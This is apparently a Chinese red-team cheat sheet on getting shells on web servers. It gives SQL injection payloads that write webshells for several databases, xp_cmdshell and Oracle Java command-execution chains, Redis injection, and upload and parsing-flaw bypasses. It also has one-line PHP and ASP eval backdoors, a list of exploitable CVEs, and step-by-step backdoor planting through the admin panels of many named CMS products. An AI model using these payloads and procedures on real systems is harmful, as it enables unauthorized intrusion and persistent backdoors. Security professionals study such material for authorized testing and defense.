按方式分类:
0x01注入getshell:
0x02 上传 getwebshell
0x03 RCE getshell
0x04 包含getwebshell
0x05 漏洞组合拳getshell
0x06 系统层getcmdshell
0x07 钓鱼 getcmdshell
0x08 cms后台getshell
0x09 红队shell竞争分析
0x01注入getshell:
一般前提条件:有权限、知道路径
MySQL
select 0x3c3f70687020a6576616c28245f504f53545b615d293ba3f3e into outfile '/var/www/html/1.php'
Sql server
存储过程xp_cmdshell
;exec master..xp_cmdshell 'echo ^<%@ Page Language="Jscript"%^>^<%eval(Request.Item["pass"],"unsafe");%^> > D:\WWW\2333.aspx' ;--
Oracle
1、创建JAVA包
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;
2、JAVA权限
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;
3、创建函数
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;
URL执行
id=602'||utl_inadd.get_host_name((select LinxRUNCMD('cmd /c dir d:/') from dual))--
postgresql
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';
sqlite3
;attach database 'D:\www\008.php' as tt;create TABLE tt.exp (dataz text) ; insert INTO tt.exp (dataz) VALUES (x'3c3f70687020406576616c28245f504f53545b27636d64275d293b3f3e');
redis
%0D%0Aconfig%20set%20dir%20%2Fvar%2Fwww%2Fhtml2F%0D%0Aconfig%20set%20dbfilename%20shell%2Ephp%0D%0Aset%20x%2022%3C%3Fphp%20phpinfo%28%29%3B%%203F%3E%22%0D%0Asave%0D%0A
PS:oracle成功率受限于与数据库版本以及注入点
当然注入不一定都能拿到webshell,比如站库分离。但不管是否站库分离,只要权限够能够执行系统命令,反弹cmdshell 也是不错的选择。比如sa权限结合xp_cmdshell 存储过程,直接执行powershell,反弹到cobalt strike …
0x02上传getshell:
上传漏洞对于getshell 还是高频的,无论是前台上传点,还是后台(通过口令进入、或者XSS到后台、逻辑漏洞越权)上传点,当然也有可能要结合一些Web Server的解析漏洞。但像IIS和Apache解析漏洞因为太老,现在成功概率都小很多。 类似直接的上传漏洞就可以getshell的漏洞,例如IIS PUT上传、Tomcat PUT 上传,因为落脚点最终都跟上传有关系,这个就不单独去枚举。 还有一批像一些编辑器(FCK、editor、CKedtor…)存在上传漏洞可以getshell。这一系列,一般是基于信息收集确定是否存在漏洞,然后进一步利用。(发现漏洞比利用漏洞更艺术)
这个期间可能涉及逻辑绕过、WAF对抗、杀软绕过、执行层,主要解决四点:
代码或逻辑问题,可以上传脚本文件
躲过WAF对脚本文件及上传内容的校验
解决落地杀
执行过程,躲过流量监控或者系统层监控 同样RCE 也需要关注以上后几点,因为前面的入口场景不同。
- 本地js验证上传
- 服务器mime绕过
- 服务器文件头绕过
- 服务器 filepath上传
- 双文件上传
- %00截断上传
- 上传其他脚本类型
上传插件
将shell添加到安装的插件中上传服务器拿shell。典型如wordpress
修改允许上传类型
进入网站后台后找到上传点发现对上传有白名单限制,正好又可以添加白名单,可以将脚本格式写入白名单然后进行上传。如果容器允许的情况下,尝试上传与网站源码不同类型的脚本格式拿shell
0x03RCE getshell
RCE是统称,包括远程代码执行、远程命令执行。当然这两个概念还是有意思的,比如struts2漏洞有的叫命令执行有的叫代码执行。这都不重要。一般根据触发点来命名。 Java系的OGNL 表达式注入、EL注入、反序列化 PHP系列的eval 类、伪协议类 代码执行、system类命令执行 当然反序列化漏洞基本上编程语言都有,除了漏洞利用getshell,用作免杀后门webshell也是一个不错的思路推荐。 正由于代码执行的部分结果是执行了系统命令,在命令执行的加持下,可以直接拿到应用或系统的shell,也是正统策略。 根据《2019年Web应用安全年度报告》,高频系列27个漏洞漏洞(这些漏洞都值得深入分析及利用),大部分为远程代码执行,同时RCE系列,Java 组件也占比最大。
列表如下:
Harbor API SQL注入(CVE-2019-19026/CVE-2019-19029)
Thinkcmf任意内容包含远程代码执行
泛微E-cology OA数据库配置信息泄漏
Fastjson远程拒绝服务
GhostScript远程代码执行(CVE-2019-14811)
泛微E-cology OA系统远程代码执行
Apache Solr远程代码执行(CVE-2019-0193)
FasterXML jackson-databind远程代码执行(CVE-2019-14439)
FasterXML jackson-databind远程代码执行(CVE-2019-12384)
FasterXML jackson-databind远程代码执行(CVE-2019-14379)
Xstream远程代码执行(CVE-2019-10173)
致远OA A8前台getshell
Apache axis远程代码执行
CoreMail未授权访问接口参数注入
Weblogic远程代码执行(CVE-2019-2729)
Weblogic远程代码执行(CVE-2019-2725)
Confluence远程代码执行(CVE-2019-3398)
Confluence远程代码执行(CVE-2019-3396)
Ruby On Rails任意文件读取(CVE-2019-5418)
Jenkins远程代码执行(CVE-2019-1003030)
ColdFusion远程代码执行(CVE-2019-7091)
Spring Boot Actuator远程代码执行
Drupal8 REST Module远程代码执行(CVE-2019-6340)
Jenkins远程代码执行(CVE-2019-1003000)
Apache Solr远程代码执行(CVE-2019-17558)
Fastjson远程代码执行 Jenkins远程代码执行(CVE-2019-1003000)
0x04文件包含getwebshell
文件包含,常见JSP、ASPx、PHP 都有包含,但主要还是PHP的包含好用。因为可以包含任意路径的任意后缀,能控制include类函数的输入结合系统特性文件或者上传的文件结合,可以拿到webshell。 JSP包含,默认情况下动态包含WEB路径下的JSP文件(静态包含可以包含任意后缀的文本文件,但不支持变量动态赋值暂不说明),2月份的CVE-2020-1938 Tomcat 文件包含漏洞,这个漏洞看上去是包含了任意格式的文件,但其实是因为AJP协议。 更多文件包含冷知识,参考 原贴
.文件包含
可绕过waf拿webshell。借助文件包含躲避waf拦截。一般用来上大马用
asp 包含代码
<!--#include file="123.jpg"-->
#调用的文件必须和被调用文件在同一目录,如果不在同一目录,用下面的语句:
<!--#include virtual="文件所在目录/123.jpg"-->
php包含
<?php
include('123.jpg');
?>
命令执行
echo ^<^?php @eval($_POST['cmd']);?^>^ > c:\1.php^<^%eval request("cracer")%^>^ > c:\1.php
# 需要知道网站路径
0x05漏洞组合拳getshell
绕过既有认证+后台漏洞
口令猜测是门艺术活,进入后台多种漏洞的利用,包括前面提到的漏洞常见高危系列,还有一些备份还原、导入导出、 模板编辑等功能。
登录逻辑绕过、越权类,搞定后台。进行典型漏洞利用
通过XSS钓到cookie,或者利用CSRF类漏洞“借刀杀人”搞到后台权限。进行典型漏洞利用。 网站后台Getshell的方法总结
XXE
XXE漏洞,最理想的状态就是直接可以代码执行(类似PHP expert);大多数还是以文件读取信息收集为主,结合源码或者配置文件(例如/etc/shadow、tomcat-users.xml等)getshell;还可以通过XXE的SSRF进行隔山打牛式getshell。 当然对于漏洞挖掘来讲,无论是xml格式还是json格式的POST数据包都值得多关注下。说不定就有惊喜呢。
SSRF + RCE
原理上SSRF可以结合所有RCE(反序列化、s2、mysql … ;github 搜索SSRFmap、ssrf_proxy)的漏洞进行组合利用,只是我们在平常实例角度用SSRF+redis未授权用的多一些。
任意文件读取Getshell
正常的一般是通过读取web.xml 获取class文件,然后反编译,找到代码的一些漏洞。进而拿到系统的权限。当然还有文件读取加文件上传的曲折配合(任意文件读取漏洞的曲折历程)
0x06系统层getcmdshell
暴力破解的艺术,毕竟锤子开锁和钥匙开锁在入侵角度结果是一样的。
**常规协议:**SSH、RDP、SMB、VPC、Redis 等中间件类
通过数据库执行语句获得了系统shell,对于获取权限,比sql注入更直接。
设备层:VPN、防火墙,搞定这种边界设备,单车变摩托。
编辑器漏洞:
低版本的ewebeditor、fckeditor编辑器均有漏洞可以利用。或绕过上传或结合解析漏洞
服务器解析漏洞:
- IIS 5.x/6.0解析漏洞
目录解析:x.asp/1.jpg
分号解析:x.asp;.jpg会被解析asp格式
其他文件名:cer,asa,cdx…
IIS 7.0/IIS 7.5/
畸形文件名解析:test.jpg/*.php
- Nginx
-畸形解析漏洞 :test.jpg/*.php(Nginx版本无关,只与配置环境有关)
<8.03空字节代码执行漏洞 :test.jpg%2500.php
- Apache解析漏洞
Apache解析文件的时候是按照从右向左的方式,test.php.aaa.sss,Apache无法解析.aaa.sss,向左解析到.php,于是test.php.aaa.sss就被解析为php文件
0x07钓鱼 getcmdshell
发送钓鱼邮件,捆绑的马,访问即加载、点击即执行类的马。 这一类攻击一般结合社工,例如借用IT管理员发送或某领导的账号去发送(所以这时候的邮箱的0day就非常重要了,当然如果在邮箱内部找到类似VPN或者密码表类,也不需要这么麻烦,一把梭…),可信度就高很多。对于红队来讲,钓的鱼儿还是以IT部门系列为主,普通办公区的主机权限还需要做更多的工作。
cms后台getshell
dedecms:
dedecms版本:http://192.168.1.10:8030/data/admin/ver.txt
默认后台:http://192.168.1.10:8030/dede/
dedecms后台一般都被修改不好找,可借助google语法:
Powered byDedeCMSV57_GBK_SP2 site:xx.com
一、后台文件上传
进入后台:核心》附件管理》文件式管理器》可直接修改源码或者上传shell
写马
连接
如果目标“文件式管理器”接口被阉割,也许只是单纯的在前端删除了入口。可以修改js调用:
如果权限被限制无法上传到upload以外的目录。通过修改名称跨越目录,绕过权限封锁
二、数据库执行拿shell
后台:系统》sql命令行工具》写shell
写shell
连接
南方数据、良精、动易
一、数据库备份(备份图片马、备份数据库)
系统管理》数据库备份页面经常被删除,需要修改js重新调用数据库备份页面
1.上传图片马
产品管理》添加产品》上传图片马
2.审查元素,找到图片马路径
如:http://192.168.1.10:8009/UploadFiles/1.jpg
3.开始备份
注意点:
1.如果附加了asa无法访问,尝试删除asa访问。解析即可。
2.如果出现文件头为database、jet db。表示实际备份的还是数据库,我们提交的图片马并没有备份到。这里尝试添加管理员将shell写进数据库。然后再备份即可。这如果长度有限制,可以在审查元素修改maxlength或者抓包
3.如果数据库路径…/Databases/0791idc.mdb框无法修改。尝试审查元素或者burp改包
4.备份目录不用管
二、配置插马
三、修改上传类型突破上传
四、双文件突破上传
五、修改editor/admin_style.asp
ecshop
1.sql语句写shell
2.修改文件
库项目管理》配送方式
连接:http://192.168.1.10:8103/myship.php
3.前台getshell
http://192.168.1.10:8103/user.php》刷新抓包》发送repeater:
会在网站根目录下生成1.php一句话木马,密码1337
wordpress上传插件
安装插件》上传插件》插件马(正常插件+大马压缩包)》上传成功
phpmyadmin写shell
phpmyadmin 常见路径:phpmyadmin、pma、pmd、pm、phpmyadmin+版本号。或者端口号搭建888/999/8888/777。可尝试爆破登录:
寻找网站根目录
1.找mysql安装目录
2.根据mysql安装路径推理出apache配置文件(记录了网站根目录)
3.使用某个数据库,创建一个表用来读取apache的配置文件
如果有waf会拦截不让导shell
1.找免杀马
2.开启外联
3.通过远程地址链接mysql服务器导入一句话
如果导出函数into outfile 被禁用
1.生成日志getshell
genaeral log设置为on,备份genaeral log file路径后修改为我们要导的shell路径。然后执行带有一句话的sql语句写入日志文件,成功getshell。完成后记得还原genaeral log file路径
备份路径:genaeral log file:D:\SOFT\webbuild\php\MySQL\data\DESKTOP-CCDQEGR.log
执行:select “<?php phpinfo();?>”
写入成功:http://localhost/xxx.php
kesion cms
科迅cms需要使用ie低版本浏览器
一、添加上传类型
这里会回显文件名不合法。但是实际上已经上传成功(部分版本)
aspcms
1.插件管理,界面风格修改asp文件
2.扩展功能,数据库备份
3.配置插马
幻灯片设置
SD cms
1.上传设置,添加脚本类型(大小写替换)
2.界面,模板管理,点击sdcms_index.asp,插入一句话到首页
phpcms
1.界面,模板风格,详情列表,修改脚本格式文件
2.phpsso(没有这个界面的话调用js),系统设置,ucenter设置,插马
连接:
3.内容,专题,添加专题
<
添加专题1
添加专题2
扩展设置,专题模板。value值设置为:
提交,提交完成后会在根目录生成0.php后门文件
metinfo
1.安装插件getshell
2.安全》备份与恢复》数据库备份》下载》打开sql文件》合适的地方输入语句:
》重新压缩》删除之前备份文件》上传修改之后的数据库备份文件》导入:执行sql语句》生成shell
3.<6.0,直接访问:
在upload目录下生成index.php的一句话:
连接:192.168.1.10/upload/index.php
discuz
管理后台:
1.站长,uccenter设置,插马,待复现。参考
https://paper.seebug.org/1144/#2-ucketdz
帝国cms
1.系统》数据表与系统模型》管理数据表》管理系统模型》导入系统模型》上传1.php.mod》会在当前目录下生成一句话co.php:
连接:http://192.168.1.10:8111/e/admin/co.php
2.帝国备份王getshell
phpmywind
1.网站信息设置》附件设置,添加允许上传类型getshell
2.网站信息设置》增加新变量
》提交》基本设置:1;@eval($_POST[a])
》提交>连接:http://192.168.1.10:8112/admin/default.php
新版本过滤分号无法连接:慎重插马
phpweb
1.前台直接上传
https://blog.csdn.net/weixin_44508748/article/details/105671332
2.后台编辑器
产品》修改》
连接:http://192.168.1.12/phpweb/3151/product/pics/20200628/202006281593274850595.php
0x08红队shell竞争分析
拼信息收集,漏洞点,别人找不到,我找的到(例如移动端、物联网等接口信息,当然这种shell,一般距离核心应用可能也远一些);
拼利用速度,自动化一条龙(基本属于日常漏洞和工程化的积累);
拼0day (VPN — Mail — OA — java组件 — CMS — 关键设备 );
拼细节漏洞,组合利用。(这是一篇“不一样”的真实渗透测试案例分析文章 )
以上为本次所感所想,当然除了这种按照漏洞类型大类去分类,还有一些具体的漏洞也可以直接getshell,本次分析意义,就是在没有思路的时候,有个相对体系性思考框架。毕竟储备充足才会看上去像运气一样水到渠成,其实都是局部真相。
引用参考:
https://www.isolves.com/it/aq/hk/2020-08-12/27894.html
https://blog.csdn.net/weixin_44508748/article/details/107009450